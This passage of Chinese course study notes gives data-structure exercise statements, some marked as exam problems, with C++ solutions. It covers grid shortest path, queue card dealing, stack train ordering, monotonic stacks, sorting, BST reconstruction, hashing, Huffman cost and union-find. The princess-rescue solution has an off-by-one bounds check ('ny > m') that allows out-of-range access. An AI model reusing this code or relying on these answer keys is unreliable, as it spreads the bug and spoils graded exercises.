    cout << luckyPigs[n - 1] << endl;
36
  }
37

38
  return 0;
39
}

展开收起

队列#

Rescue the princess#

★实验任务

有一天，公主被一个魔王抓走关在一个城堡里面，城堡可以用 N * M 的矩阵来描述，1 < N, M <= 200。监狱由 N * M 个方格组成，每个方格中可能为墙壁，空地，怪物，公主或者是勇士。

现在勇士想去营救公主。他的任务是找到公主。约定，“找到公主”的意思是到达公主被关的位置。如果勇士想到达某个方格，但方格中有怪物，那么必须杀死怪物，才能到达这个方格。假设勇士只能向上，下，左，右四个方向移动一步。移动一步的需要花费 1 个单位的时间，杀死怪物也需要一个单位的时间。

试着计算勇士找到公主需要多长时间。只能上，下，左，右移动，而且墙壁不能通过。

★数据输入

输入第一行包含 2 个整数 N，M，接下来 N 行，每行 M 个字符：. 代表空地，a”表示公主，r 表示勇士， # 代表墙壁， x 表示怪物。（测试数据中 a 和 r 只有一个）。

★数据输出

输出一个整数，表示找到公主所需要最短的时间。如果无法找到公主，输出-1。

1
#include <bits/stdc++.h>
2

3
using namespace std;
4

5
struct Node {
6
  int x, y, time;
7
  // 重载大于运算符，比较两个 Node 等价于比较两个 Node.time
8
  bool operator>(const Node& other) const {
9
    return time > other.time;
10
  }
11
};
12

13
int main()
14
{
15
  int n, m;
16
  cin >> n >> m;
17
  vector<string> grid(n);
18
  int start_x=-1, start_y =-1, end_x=-1, end_y=-1;
19

20
  // 读入地图，初始化坐标
21
  for(int i=0;i< n;i++){
22
    cin >> grid[i];
23
    for(int j=0;j<m;j++){
24
      if(grid[i][j] == 'r'){
25
        start_x = i;
26
        start_y = j;
27
      }
28
      if(grid[i][j] == 'a'){
29
        end_x = i;
30
        end_y = j;
31
      }
32
    }
33
  }
34

35
  // 方向向量，表示移动方式
36
  int dx[4] = {0, 0, 1, -1}; // 上：-1，下：1
37
  int dy[4] = {1, -1, 0, 0}; // 左：-1，右：1
38

39
  // 每个格子相对于起点的路径距离（时间成本），初始化为“无穷大”
40
  vector<vector<int>> dist(n, vector<int>(m, INT_MAX));
41
  dist[start_x][start_y] = 0;
42

43
  // 定义最小堆，堆顶元素必定最小。great 表示大于队尾元素的插入元素进入队尾，否则插入队尾元素之前。最大堆用 less
44
    // 存储待探索的点，按距离升序排序
45
  priority_queue<Node, vector<Node>, greater<Node>> pq;
46

47
  // 起点作为第一个待探索点
48
  pq.push({start_x, start_y, 0});
49

50
  while(!pq.empty())
51
  {
52
    Node curr = pq.top(); // 当前位置
53
    pq.pop(); // 将该点弹出待探索堆。之后此点不再探索
54
    int x = curr.x;
55
    int y = curr.y;
56
    int time = curr.time;
57
        // 剪枝。这说明你是从较远路径来到这个点的，而根据我们的走法，已经有“人”探索接下来的路了，因此不要重复探索。
58
    if(time > dist[x][y]){
59
      continue;
60
    }
61
    // 向 4 个方向探索
62
    for(int i=0;i<4;i++){
63
      int nx = x + dx[i];
64
      int ny = y + dy[i];
65
      // 探测边界和墙壁
66
      if(nx < 0 || nx >= n || ny < 0 || ny > m || grid[nx][ny] == '#'){
67
        continue;
68
      }
69
      int new_time = time + 1; // 前进 1 步
70
      // 遇怪增加时间
71
      if(grid[nx][ny] == 'x'){
72
        new_time ++;
73
      }
74
      // 如果找到更短路径，则更新路径距离
75
      if(new_time < dist[nx][ny]){
76
        dist[nx][ny] = new_time;
77
        pq.push({nx, ny, new_time}); // 把点推入待探索堆中
78
      }
79
    }
80
  }
81
  if(dist[end_x][end_y] != INT_MAX){
82
    cout << dist[end_x][end_y] << "\n";
83
  }
84
  else
85
  {
86
    cout << "-1" << "\n";
87
  }
88
}

展开收起

交易#

考了

★实验任务

作为炉石传说的发牌员，你的任务就是发牌。从上到下有 n 张牌，编号 1~n。因为你和选手进行了一次“交易”，所以当至少还剩两张牌时，发出最上面的牌，第二张牌放到最下面，重复这个过程直到只剩下一张牌。输出发牌的序列和最后剩下的牌。

★数据输入

第一行 1 个正整数 n (1=<n<1000)

★数据输出

输出一行为发牌的序列，一行为最后剩下的牌。两个数字之间用空格隔开，末尾没有空格。

★Hint

第一个样例 n=1,只输出一行。

1
#include <bits/stdc++.h>
2
using namespace std;
3
int main()
4
{
5
  int n;
6
  cin >> n;
7
  queue<int> card;
8
    // 初始化牌堆
9
  for(int i=1;i<=n;i++){
10
    card.push(i);
11
  }
12
  bool isFirst = true;
13
  do
14
  {
15
    if(!isFirst){
16
      cout << " ";
17
    }
18
        // 输出第一张牌
19
    cout << card.front();
20
    card.pop();
21
    isFirst = false;
22
        // 第二张牌排到队尾
23
    if(!card.empty()){
24
      int second = card.front();
25
      card.pop();
26
      card.push(second);
27
    }
28
  }
29
  while(card.size() >= 2);
30
  cout << endl;
31
  if(!card.empty()){
32
    cout << card.front();
33
  }
34
}

展开收起

栈#

火车#

考了

★实验任务

TonyY 等火车无聊的时候，会去观察火车的排列，有一天他思考这么一个问题，火车总站的火车只能进站，要出站的话只能先出最后进站的那辆车，那么知道火车的进站顺序，能不能把它的出站顺序调整成火车站想要的呢？

★数据输入

输入第一行为一个正整数 n 表示火车辆数(编号 1-n)（1<=n<=9）。

然后为两个长度为 n 的序列，表示火车的进站顺序和出站顺序。每辆火车刚好进出站各一次。

★数据输出

如果可以调整，输出 Yes 和出入站顺序。

如果不能，输出 No。

1
#include <iostream>
2
#include <stack>
3
#include <string>
4
using namespace std;
5

6
int main() {
7
  int n;
8
  cin >> n;
9

10
  string in_seq, out_seq;
11
  cin >> in_seq >> out_seq;
12

13
  stack<int> station;
14
  int out_index = 0;  // 当前应该出站的元素索引
15
  bool possible = true;
16

17
  // 模拟过程判断是否可能，并记录操作序列
18
  string operations[20]; // 最多 2 * 9 = 18 次操作
19
  int op_count = 0;
20

21
  for (int i = 0; i < n; i++) { // 由于出入站是单行的，因此每列列车有且只有一次进站和出站操作
22
    // 入站
23
    station.push(in_seq[i] - '0');
24
    operations[op_count++] = "in";
25

26
    // 检查能否出站，while 应对连续出站情况
27
    while (!station.empty() && station.top() == out_seq[out_index] - '0') {
28
      station.pop();
29
      operations[op_count++] = "out";
30
      out_index++;
31
    }
32
  }
33

34
  // 检查是否所有元素都正确出栈
35
  if (out_index != n) {
36
    possible = false;
37
  }
38

39
  if (possible) {
40
    cout << "Yes" << endl;
41
    // 输出缓存的操作序列
42
    for (int i = 0; i < op_count; i++) {
43
      cout << operations[i] << endl;
44
    }
45
  } else {
46
    cout << "No" << endl;
47
  }
48

49
  return 0;
50
}

展开收起

价值#

★实验任务

K 神最近喜欢上了刷题，一天不刷浑身难受。最近他研究发现，自己的人生价值在于他某段时间内的刷题总数乘上这几天刷题数的最小值，现在 K 神很寂寞（无敌是多么寂寞），想知道他人生价值最高的时候究竟有多高（krz）

★数据输入

第一行为总天数 N(1<=N<=100000)

接下来一行 N 个整数 ai（1<=ai<=100000），表示 K 神第 i 天的刷题数。

★数据输出

输出 K 神在连续一段时间内可能的最高价值 W。

对每个元素 a[i]，把它当作“区间最小值”，看它能控制的最大区间，然后计算 a[i] * (这个区间的元素和)，取最大值。

1
#include<bits/stdc++.h>
2
using namespace std;
3
int main(){
4
  int n;
5
  cin>>n;
6
  int num=n+5;
7
  vector<int>a(num), left(num), right(num);
8
  for(int i=1;i<=n;i++){
9
    cin>>a[i];
10
  }
11

12
  // 求前缀和，便于求区间和，例如区间 [a,b) 内的和为 sums[b-1] - sums[a]
13
  vector<long long>sums(n+1,0);
14
  for(int i=1;i<=n;i++){
15
    sums[i]=sums[i-1]+a[i];
16
  }
17

18
  // 求区间和就需要求上下边界
19
    // 将刷题数序列的每一个值都认为是属于某个区间的最小值，现在就是求最大的区间。
20

21
    // 使用单调栈排序下标
22
  stack<int>st;
23

24
    // 左边界，从左到右选择
25
  for(int i=1;i<=n;i++){
26
        // 如果当前栈顶的元素不小于要插入的元素，则弹出栈顶元素。注意一定要带等号，不然会出错
27
    while(!st.empty() && a[st.top()]>=a[i]){
28
      st.pop();
29
    }
30
    left[i]=st.empty()?0:st.top();
31
    st.push(i);
32
  }
33
    // 清空栈
34
  while(!st.empty())
35
    st.pop();
36
    // 右边界，从右到左选择
37
  for(int i=n;i>=1;i--){
38
        // 如果当前栈顶的元素小于要插入的元素，则弹出栈顶元素
39
    while(!st.empty() && a[st.top()]>a[i]){
40
      st.pop();
41
    }
42
    right[i]=st.empty()?(n+1):st.top();
43
    st.push(i);
44
  }
45
  long long maxx=0;
46
  for(int i=1;i<=n;i++){
47
    long long sum=sums[right[i]-1]-sums[left[i]];
48
    long long cur=a[i]*sum;
49
    maxx=max(maxx, cur);
50
  }
51
  cout<<maxx<<endl;
52
  return 0;
53
}

展开收起

排序与选择#

魔音吉他#

考了

★问题描述

少年甲很喜欢音乐，有一天他来到了少年乙的村落。少年甲一曲高山流水，寻觅到了乙这位知音。然而，天下没有不散的宴席，少年甲要回村杀猪了，离别在即，少年乙拿出了自己珍藏多年的吉他，作为离别的礼物。就在少年甲欣喜之际，少年乙说，这把吉他变幻莫测，每次你拿起它的时候，它会有n根弦，每根弦可以演奏出1018+110^{18}+11018+1个音符，而这1018+110^{18}+11018+1个音符是连续的，取决于它每根弦的第一个音符（请看样例说明）。此时，少年甲提出了一个疑问，如果给定一个区间l，r（包括端点），里面共有几种不同的音符呢？少年乙对此谙熟于心，但是他想考验一下你，于是将这个问题抛给了你。

★数据输入

第一行一个正整数n(1<=n<=100,000)，表示吉他有几根弦。第二行共n个数x，即代表对应弦的第一个音符(0<=x<=101810^{18}1018)。第三行一个正整数q(1<=q<=100,000)，表示少年甲的询问次数。接下来q行，每行两个数l，r(0<=l, r<=1018+110^{18}+11018+1)，表示少年甲想要询问的区间。

★数据输出

输出共q个数，表示对应q个询问的答案。即询问区间内有多少个不同的音符。以空格隔开。

★样例说明

对应弦的第一个音符：3 1 4 1 5 9

列下标：0 1 2 3 4 5 …… 弦一： 3 4 5 6 7 8 …… 弦二： 1 2 3 4 5 6 …… 弦三： 4 5 6 7 8 9 …… 弦四： 1 2 3 4 5 6 …… 弦五： 5 6 7 8 9 10 …… 弦六： 9 10 11 12 13 14 ……

在第一根弦（最低音为1）遇到的音符为 1、2、3，一共3个新音符。在第二根弦（最低音为3）遇到的音符为 3、4、5，一共2个新音符。在第三根弦（最低音为4）遇到的音符为 4、5、6，一共1个新音符。在第四根弦（最低音为5）遇到的音符为 5、6、7，一共1个新音符。在第五根弦（最低音为9）遇到的音符为 9、10、11，一共3个新音符。区间 [0,2] 内有 1、2、3、4、5、6、7、9、10、11，共 10 个不同的音符。

★Hint

（1）询问区间l，r即为样例说明中的列下标。（2）所谓不同音符个数，即区间l，r内n行内不同的数字个数。（3）由于l，r的范围巨大，请思考其与每行第一个数字的关系（即给出的第一个音符）。

1
// 由“样例说明”可知，从第二根弦开始每根弦遇到的新音符数量受其与上一跟弦的差值影响即 a[i] - a[i-1]（比如 a[2] - a[1] = 3 - 1 =2, a[3] - a[2] = 4 - 3 = 1)，但如果其差值大于询问的区间长度 (r-l+1)，其增长的值就为其区间范围的值
2
// 则总的音符数为基弦的音符数（区间长度）+ 后面弦的新增音符数
3

4
#include <iostream>
5
#include <vector>
6
#include <algorithm>
7
using namespace std;
8

9
int main() {
10
    int n;
11
    cin >> n;
12
    vector<long long> first(n);
13
    for (int i = 0; i < n; i++) {
14
        cin >> first[i];
15
    }
16
    //把弦的起始音符排个序
17
    sort(first.begin(), first.end());
18
    //求出相邻弦之间的差值
19
    vector<long long> diff;
20
    for (int i = 1; i < n; i++) {
21
        diff.push_back(first[i] - first[i - 1]);
22
    }
23
    sort(diff.begin(), diff.end());
24
    //计算前缀和（为了后面快速求和）
25
    vector<long long> pre(diff.size() + 1, 0);
26
    for (int i = 0; i < (int)diff.size(); i++) {
27
        pre[i + 1] = pre[i] + diff[i];
28
    }
29
    int q;
30
    cin >> q;
31
    for (int t = 0; t < q; t++) {
32
        long long l, r;
33
        cin >> l >> r;
34
        // 区间长度（包括两端）
35
        long long len = (r >= l) ? (r - l + 1) : 0;
36
        // 找出 <= len 的差值数量
37
        int k=upper_bound(diff.begin(),diff.end(),len)-diff.begin();
38
        // 计算 sum(min(len, diff[i]))
39
        long long summin = pre[k] + (long long)(diff.size() - k) * len;
40
        // 最终结果（音符总数）
41
        long long ans = len + summin;
42
        cout << ans; // 输出
43
        if (t != q - 1) cout << " ";
44
    }
45
    cout << endl;
46
    return 0;
47
}

展开收起

Just Sort#

★实验任务

给定两个序列 a, b，序列 a 原先是一个单调递增的正数序列，但是由于某些原因，使得序列乱序了，并且一些数丢失了（用 0 表示）。经过数据恢复后，找到了正数序列 b ，且序列 a 中 0 的个数等于序列 b 的个数，打算使用序列 b 恢复序列 a。

对于序列 a 来说，我们可以交换两个位置上的非零的数，并且可以交换任意次。序列 b 同样也可以进行任意次交换。

现在要将序列 b 填充到序列 a 中的值丢失的位置上，序列 b 中的每个数只能填充一次，问最后构成的序列是否是单调递增的，如果是，则输出填充后的序列，否则输出-1。

★数据输入

输入给定 N, M，表示序列 a 和序列 b 的长度。

第一行为序列 a，第二行为序列 b。题目保证除了 0 以外的数，在序列 a 和 b 中只出现一次。

数据保证:

80%的数据，N, M <= 100

100%的数据，N, M <= 100000, 0 <= a[i] <= 100000, 0 < b[i] <= 100000

★数据输出

如果最后序列 a 是单调递增的，输出该序列，否则输出 -1。

1
#include <bits/stdc++.h>
2

3
using namespace std;
4

5
const int N = 1e5 + 10;
6
int a[N], b[N], c[N], vis[N];
7

8
void solve()
9
{
10
  int n, m;
11
  cin >> n >> m;
12
  int idx = 0;
13
  for(int i=1;i<=n;i++){
14
    int x;
15
    cin >> x;
16
    if(x==0){
17
      vis[i] = 1; // 标记序列 a 中缺失元素的位置
18
    }
19
    else
20
    {
21
      a[++idx] = x; // 收集 a 中非 0 的数
22
    }
23
  }
24
  for(int i = 1; i <= m; i++)
25
  {
26
    cin >> b[i];
27
  }
28
    // 允许任意交换意味着原始位置已经不重要了，只剩下“数的集合”重要
29
    // 问题变成：能否把“a 的非零数和 b 中的数”重新排列，按原位置规则放回（形成新序列），使整个序列严格递增？
30
  sort(a + 1, a + idx + 1); // std::sort(container.begin(), container.end());
31
  sort(b + 1, b + m + 1);
32
  int idx1 = 0, idx2 = 0;
33
  for(int i=1;i<=n;i++){
34
    if(vis[i]){
35
      c[i] = b[++idx1]; // 如果此位置是 a 中缺失的元素位置，那么用序列 b 填充
36
    }
37
    else
38
    {
39
      c[i] = a[++idx2]; // 如果没缺失，则用 a 中原本没缺失的元素填充
40
    }
41

42
    if(i > 1){
43
            // 发现填充违规，说明当前最小可用的数都不够大，而换用更大的数会把这个较小数留给后面更大的数，更难实现递增
44
      if(c[i] <= c[i - 1]){
45
        cout << "-1" << "\n";
46
        return;
47
      }
48
    }
49
  }
50
  for(int i=1;i<=n;i++){
51
    if(i != 1){
52
      cout << " ";
53
    }
54
    cout << c[i];
55
  }
56
  cout << "\n";
57
}
58

59
int main()
60
{
61
  solve();
62
}

展开收起

树#

文件管理器#

好难 QAQ

背景

操作系统具有对计算机硬件资源管理和调度的功能。文件是对占用了硬盘一定空间的对象的描述和抽象。考虑一般的文件具有文件名、大小和创建时间。文件管理在任何操作系统中都是必不可少的。文件管理器是用户用来观察和操作文件的一个软件。考虑一个简易的文件管理器，用户可以通过这个简易的文件管理器对某个目录下文件最大/小、文件名(字符串)字典序最大/最小的一些文件，即按XX排序功能，此外文件管理器具有删除和添加文件的功能。输入保证目录只有一级，操作随机。

输入及输出格式

第1行输入一个Q(1<=Q<=100000)，表示操作的次数。

第2-Q+1行输入一行操作序列

操作序列的格式为 op args

当op=1,即第一种操作时，args的格式为 folder name size，表示将要在某个folder目录(1<=folder<=5的整数)下添加文件名为name(1<=name<=100000的整数)的文件，文件大小为size(1<=size<=100000的整数)，如果文件名重复，就先删除原来的文件再进行1操作；

当op=2,即第二种操作时，args的格式为 folder name，表示将要在某个folder目录(1<=folder<=5的整数)下删除文件名为name(1<=name<=100000的整数)的文件，如果文件名不存在，操作不执行；

当op=3,即第三种操作时，args的格式为 folder k，表示输出某个目录下文件大小最大至第k大的文件名，如果大小相同按文件名数字从小到大输出，如果不满k个文件只需要输出已有的文件名，如果文件夹为空或不存在则输出一个空行；

当op=4,即第四种操作时，args的格式为 folder k，表示输出某个目录下文件名数字大小最小至第k小的文件名，如果不满k个文件只需要输出已有的文件名，如果文件夹为空或不存在则输出一个空行；

保证1<= k <=10

备注

输出文件名以空格隔开，不输出多余的换行和空格

样例说明

样例输出为8个空行

1
#include<bits/stdc++.h>
2
using namespace std;
3

4
struct node{
5
  int name,size;
6
};
7

8
class cmp{
9
  public:
10

11
    bool operator()(const node&x,const node&y)const{
12
      if(x.size!=y.size){
13
        return x.size>y.size;
14
      }else{
15
        return x.name<y.name;
16
      }
17
    }
18
};
19

20
map<int,int>folder[7];
21
set<node,cmp>s1[7];
22
//set<string>s2[7];
23

24
void solve()
25
{
26
  int op,idx,name,size,k;
27

28
  cin>>op>>idx;
29

30
  switch(op){
31
    case 1:
32
      cin>>name>>size;
33
      node t;
34
      t.name=name,t.size=size;
35

36
      if(folder[idx].count(name)){
37
        s1[idx].erase(s1[idx].find({name,folder[idx][name]}));
38
      }
39
/*      else{
40
        s2[idx].insert(to_string(name));
41
      }*/
42

43
      s1[idx].insert(t);
44
      folder[idx][name]=size;
45

46
      break;
47

48
    case 2:
49
      cin>>name;
50

51
      if(folder[idx].count(name)){
52
        auto it=s1[idx].find({name,folder[idx][name]});
53

54
        s1[idx].erase(it);
55

56
//        s2[idx].erase(to_string(name));
57
        folder[idx].erase(name);
58
      }
59

60
      break;
61

62
    case 3:
63
      cin>>k;
64

65
      if(!s1[idx].empty()){
66
        int cnt=0;
67
        for(auto el:s1[idx]){
68
          if(cnt){
69
            cout<<' ';
70
          }
71
          cout<<el.name;
72
          cnt++;
73
          if(cnt==k){
74
            break;
75
          }
76
        }
77

78
      }
79

80
      cout<<'\n';
81

82
      break;
83

84
    case 4:
85
      cin>>k;
86

87
/*      if(!s2[idx].empty()){
88
        int cnt=0;
89
        for(auto el:s2[idx]){
90
          if(cnt){
91
            cout<<' ';
92
          }
93
          cout<<el;
94
          cnt++;
95
          if(cnt==k){
96
            break;
97
          }
98
        }
99

100
      }*/
101

102
      if(!folder[idx].empty()){
103
        int cnt=0;
104
        for(auto el : folder[idx]){
105
          if(cnt){
106
            cout<<' ';
107
          }
108
          cout<<el.first;
109
          cnt++;
110
          if(cnt==k){
111
            break;
112
          }
113
        }
114

115
      }
116

117
      cout<<'\n';
118

119
      break;
120
  }
121

122
}
123

124
int main()
125
{
126
  ios::sync_with_stdio(0);
127
  cin.tie(0); cout.tie(0);
128

129
  int t=1;
130

131
  cin>>t;
132

133
  while(t--){
134
    solve();
135
  }
136

137
    return 0;
138
}

展开收起

鼹鼠报数#

考了

★实验任务

Winder 养了一群会报数的鼹鼠，而且Winder喜欢用数字给他的鼹鼠们编号，如“311”、“1048”等。当然，为了不混淆，鼹鼠们的编号都是不同的。为了锻炼鼹鼠们的身体健康，Winder决定让鼹鼠们进行掘土训练，顺便提高鼹鼠们的挖掘能力。鼹鼠们排成一列，由第一个开始向下挖洞，并待在洞中。第二只与第一只相比，若编号值大的鼹鼠，则向右下方挖洞，否则向左下方。接下来的鼹鼠们以此类推，若比洞中所在鼹鼠编号值大，则向右下方走，否则向左下方。训练结束后，Winder会让他的鼹鼠们报数（既报出各自的编号）。通过报数的序列Winder想知道经过训练之后，鼹鼠们的位置是怎样的。报数规则为：如果A鼹鼠的下方分别存在ALeft鼹鼠和ARight鼹鼠，则ALeft鼹鼠在ARight鼹鼠之前报数，ARight鼹鼠在A鼹鼠之前报数。位置表达式规则为：“根节点<左子树表达式><右子树表达式>”,如左子树不存在,则只输出“根节点<右子树表达式>”，右子树同理。

★数据输入

第一行为N（2<N<=1000），表示有N只鼹鼠。第二行为N个整数bi（0<bi<10000），表示报数顺序。

★数据输出

输出鼹鼠们的位置表达式。

1
// 报数过程就是二叉树的后序遍历
2
// 问题转化成：已知一棵 BST 的后序遍历序列，输出它的 “位置表达式”（先根 + 左右子树）
3

4
#include <iostream>
5
using namespace std;
6
const int MAX = 10000;
7
int a[MAX], n;
8
void dfs(int * a, int begin, int end) {
9
  bool l = 1;
10
  bool r = 1;
11
  cout << a[end]; // 后序遍历的最后一个一定是根
12
  int i = begin;
13

14
    // [ begin ... i-1 ] < root → 左子树
15
    // [ i ... end-1 ] > root → 右子树
16
  while (i < end && a[i]<a[end]) {
17
        i++;
18
    }
19
  if (i==begin) {
20
        l=0;
21
    }
22
  if (i==end) {
23
        r=0;
24
    }
25
  if (l) {
26
    cout << "<";
27
    dfs(a, begin, i - 1);
28
    cout << ">";
29
  }
30
  if (r) {
31
    cout << "<";
32
    dfs(a, i, end - 1);
33
    cout << ">";
34
  }
35
}
36
int main () {
37
  cin >> n;
38
  for (int i=1; i<=n; i++){
39
        cin>>a[i];
40
    }
41
  dfs(a, 1, n);
42
  return 0;
43
}

展开收起

散列表#

Sins of a Solar Empire P7#

★实验任务

正如你所知道sins是一个贪玩的不得了的小P孩（如果你非常讨厌他可以直接跳到第二段），你也知道他最近很喜欢玩一个叫做太阳帝国的原罪的策略游戏我向你保证这是太阳帝国原罪系列的第七章了。现在sins拥护N个星球，每个星球m种不同的资源，每个资源都拥有一个编号A，对于sins来说N个星球都有的资源才是最宝贵的，他想知道这样的资源有哪些？

★数据输入

第1行是正整数N（1<=N<=1000）。第2~N+1行各有一个正整数m和m个正整数编号A(有重复)，（0<m<=1000, 0 <= A <=10^9）.

★数据输出

第一行一个整数S，表示N个星球都拥有的资源个数。如果S不等于0输出第二行，按照升序输出S个整数表示资源编号(无重复)，资源编号之间有空格，结尾没有空格。

1
#include <iostream>
2
#include <unordered_map>
3
#include <unordered_set>
4
#include <vector>
5
#include <algorithm>
6
using namespace std;
7
int main() {
8
    int N;
9
    cin >> N;
10
    unordered_map<int, int> Count;
11
    for (int i = 0; i < N; ++i) {
12
        int m;
13
        cin >> m;
14
        unordered_set<int> only;
15
        for (int j = 0; j < m; ++j) {
16
            int A;
17
            cin >> A;
18
            only.insert(A);
19
        }
20
        for (int res : only) {
21
            Count[res]++;
22
        }
23
    }
24
    vector<int> common;
25
    for (const auto& pair : Count) {
26
        if (pair.second == N) {
27
            common.push_back(pair.first);
28
        }
29
    }
30
    sort(common.begin(), common.end());
31
    cout << common.size() << endl;
32
    if (!common.empty()) {
33
        for (int i = 0; i < common.size(); ++i) {
34
            if (i > 0) {
35
                cout << " ";
36
            }
37
            cout << common[i];
38
        }
39
        cout << endl;
40
    }
41
    return 0;
42
}

展开收起

特殊匹配R#

★实验任务

定义一种语言L，L语言中所有的字符串只能由abc三个字母组成。在语言L之上定义一种特殊匹配规则R，R的定义如下：假设有两个字符串x和y，x和y等长，且x与y有且只有一个位置上的字符不同。例如字符串x为“abc”：（1）若字符串y为”abb”，这x与y符合R匹配；（2）若y为”abc”或”bbb”或”abcc”，则x与y不符合R匹配。现给定一个由n个x字符串构成的匹配表r，然后进行m次询问。每次询问输入一个y字符串，然后判断r表中是否存在与y符合R匹配的x字符串，若有输出”YES”，否则输出”NO”。

★数据输入

输入中第一行给出一整数n，m（1<=n,m<=1000）。接下来n行给出n个x字符串。接下来m行，每行输入一个y字符串进行询问。题目保证每一个字符串的长度在1000以内。

★数据输出

对于m个询问，每个询问输出在x个字符串中是否有与y字符串符合R匹配的字符串，若有输出”YES”，否则输出”NO”。

★提示 60%的数据n<=100,m<=100 100%的数据n<=1000,m<=1000

1
#include <iostream>
2
#include <string>
3
#include <unordered_set>
4
#include <vector>
5
using namespace std;
6

7
int main() {
8
    int n, m;
9
    cin >> n >> m;
10
    unordered_set<string> x_set;
11
    vector<string> x_list;
12
    for (int i = 0; i < n; i++) {
13
        string x;
14
        cin >> x;
15
        x_set.insert(x);
16
        x_list.push_back(x);
17
    }
18
    for (int i = 0; i < m; i++) {
19
        string y;
20
        cin >> y;
21
        int len = y.length();
22
        bool found = false;
23
        for (const string& x : x_list) {
24
            if (x.length() != len) continue;
25
            int diff_count = 0;
26
            for (int j = 0; j < len; j++) {
27
                if (x[j] != y[j]) {
28
                    diff_count++;
29
                    if (diff_count > 1) break;
30
                }
31
            }
32
            if (diff_count == 1) {
33
                found = true;
34
                break;
35
            }
36
        }
37
        cout << (found ? "YES" : "NO") << endl;
38
    }
39
    return 0;
40
}

展开收起

优先队列#

哈夫曼问题#

★问题描述

对于给定的一个数列，求出用该数列构造Huffman树的总费用。

给出一列数 {pi}=p0,p1,…,pn−1\{p_i\}=p_0, p_1, …, p_{n-1}{pi}=p0,p1,…,pn−1，用这列数构造Huffman树的过程如下：

找到 {pi}\{p_i\}{pi} 中最小的两个数，设为 pap_apa和 pbp_bpb，将 pap_apa和 pbp_bpb 从 {pi}\{p_i\}{pi} 中删除掉，然后将它们的和加入到 {pi}\{p_i\}{pi} 中。这个过程的费用记为 pa+pbp_a + p_bpa+pb。
重复步骤1，直到 {pi}\{p_i\}{pi} 中只剩下一个数。

在上面的操作过程中，把所有的费用相加，就得到了构造Huffman树的总费用。

例如，对于数列{pi}\{p_i\}{pi}={5, 3, 8, 2, 9}，Huffman树的构造过程如下：

找到{5, 3, 8, 2, 9}中最小的两个数，分别是2和3，从 {pi}\{p_i\}{pi} 中删除它们并将和5加入，得到{5, 8, 9, 5}，费用为5。
找到{5, 8, 9, 5}中最小的两个数，分别是5和5，从 {pi}\{p_i\}{pi} 中删除它们并将和10加入，得到{8, 9, 10}，费用为10。
找到{8, 9, 10}中最小的两个数，分别是8和9，从 {pi}\{p_i\}{pi} 中删除它们并将和17加入，得到{10, 17}，费用为17。
找到{10, 17}中最小的两个数，分别是10和17，从 {pi}\{p_i\}{pi} 中删除它们并将和27加入，得到{27}，费用为27。
现在，数列中只剩下一个数27，构造过程结束，总费用为5+10+17+27=59。

★数据输入

输入的第一行包含一个正整数 n（n<=100）。

接下来是 n 个正整数，表示 p0,p1,…,pn−1p_0, p_1, …, p_{n-1}p0,p1,…,pn−1，每个数不超过1000。

★数据输出

用这些数构造Huffman树的总费用。

1
#include<iostream>
2
using namespace std;
3

4
int main()
5
{
6
    int n;
7
    cin>>n;
8
    int a[100];
9
    for (int i=0;i<n;i++)
10
    {
11
        cin>>a[i];
12
    }
13
    int len=n;
14
    int total=0;
15
    while(len>1)
16
    {
17
        int min1=0,min2=1;
18
        if (a[min1]>a[min2])
19
            swap(min1,min2);
20
        for (int i=2;i<len;i++)
21
        {
22
            if (a[i]<a[min1])
23
            {
24
                min2=min1;
25
                min1=i;
26
            }
27
            else if(a[i]<a[min2])
28
            {
29
                min2=i;
30
            }
31
        }
32
        int sum=a[min1]+a[min2];
33
        total+=sum;
34
        a[min1]=sum;
35
        a[min2]=a[len-1];
36
        len--;
37
    }
38
    cout<<total<<endl;
39
    return 0;
40
}

展开收起

森林冰火人#

★实验任务

火人喜欢堆雪人。

已知火人在接下来的N天中，每天早上都会堆一个大小为vi的雪人。

但是火人的温度太高了！每天晚上，所有已存在的雪人的体积都会由于融化而减少ti（若雪人体积不足ti，则雪人体积融化至0）。

问，每天融化的总体积为多少？

★数据输入

输入第一行为正整数N (1<=N<=10^5)

第二行为N个正整数vi (1<=vi<=10^5)，代表每天堆的雪人的体积。

第三行为N个正整数ti (1<=ti<=10^5)，表示每天雪人融化的体积。

对于80%的数据， 1<=N<=100

对于100%的数据， 1<=N<=10^5

★数据输出

输出N个整数，代表每天融化的体积。（整数间以空格分隔）

1
#include <bits/stdc++.h>
2
using namespace std;
3
typedef long long ll;
4
int main() {
5
    int N;
6
    cin >>N;
7
    vector<ll> v(N),t(N);
8
    for (int i=0;i<N;i++)
9
        cin>>v[i];
10
    for (int i=0;i<N;i++)
11
        cin>>t[i];
12
  struct compare {
13
    bool operator()(ll a,ll b) {
14
        return a>b;
15
    }
16
};
17
    priority_queue<ll,vector<ll>,compare> pq_min;//最小堆
18
    ll sum=0;
19
    for (int i=0;i<N;i++) {
20
        pq_min.push(v[i]+sum);
21
        ll melt=0;
22
        while(!pq_min.empty() &&pq_min.top()<=sum+t[i]){
23
            melt+=pq_min.top()-sum;
24
            pq_min.pop();
25
        }
26
        melt+=pq_min.size()*t[i];
27
        sum+=t[i];
28
        cout<<melt<<" ";
29
    }
30
    cout<<endl;
31
    return 0;
32
}

展开收起

并查集#

转移炸弹#

★实验任务

A国有 N个城市，这些城市编号为 1到 N，有一天，他们调查出恐怖分子在每个城市中都安放了炸弹，于是他们给炸弹也编上了序号，第 i 个城市里的炸弹编号为 i。现在他们想把这些炸弹转移，以便于销毁炸弹。

由于炸弹是通过不同人转移的，所以需要一个指挥部门来记录转移炸弹的信息，以便于有些人要查询这些信息。我们有两个操作：

1.将 a 炸弹目前所在城市中所有的炸弹转移到 b 炸弹所在的城市。

2.询问 a 炸弹目前在哪个城市编号和这个城市中有炸弹个数。

★数据输入

输入第一行包含两个数 N,Q（1<=N<=500000 , 1<=Q<=120000）。分别表示城市的个数和操作数。

接下来有 Q 行，每行表示一个操作，第一种操作输入格式为 1 a b，第二种操作输入格式为 2 a。（1<=a,b<=N）

★数据输出

对于第一个操作，如果两个炸弹在同一个城市里，输出“ERROR”，并不执行此操作。否则执行操作并不输出任何东西。

对于第二种操作，输出一行两个数表示炸弹所在的城市编号和该城市中炸弹个数，用一个空格分开。

1
#include <stdio.h>
2
#include <stdlib.h>
3

4
#define MAXN 500005
5

6
int parent[MAXN];  // 父节点
7
int city[MAXN];    // 炸弹当前所在的城市编号
8
int size[MAXN];    // 城市中的炸弹数量
9

10
// 查找根节点（带路径压缩）
11
int find(int x) {
12
    if (parent[x] != x) {
13
        parent[x] = find(parent[x]);
14
    }
15
    return parent[x];
16
}
17

18
int main() {
19
    int N, Q;
20
    scanf("%d %d", &N, &Q);
21

22
    // 初始化
23
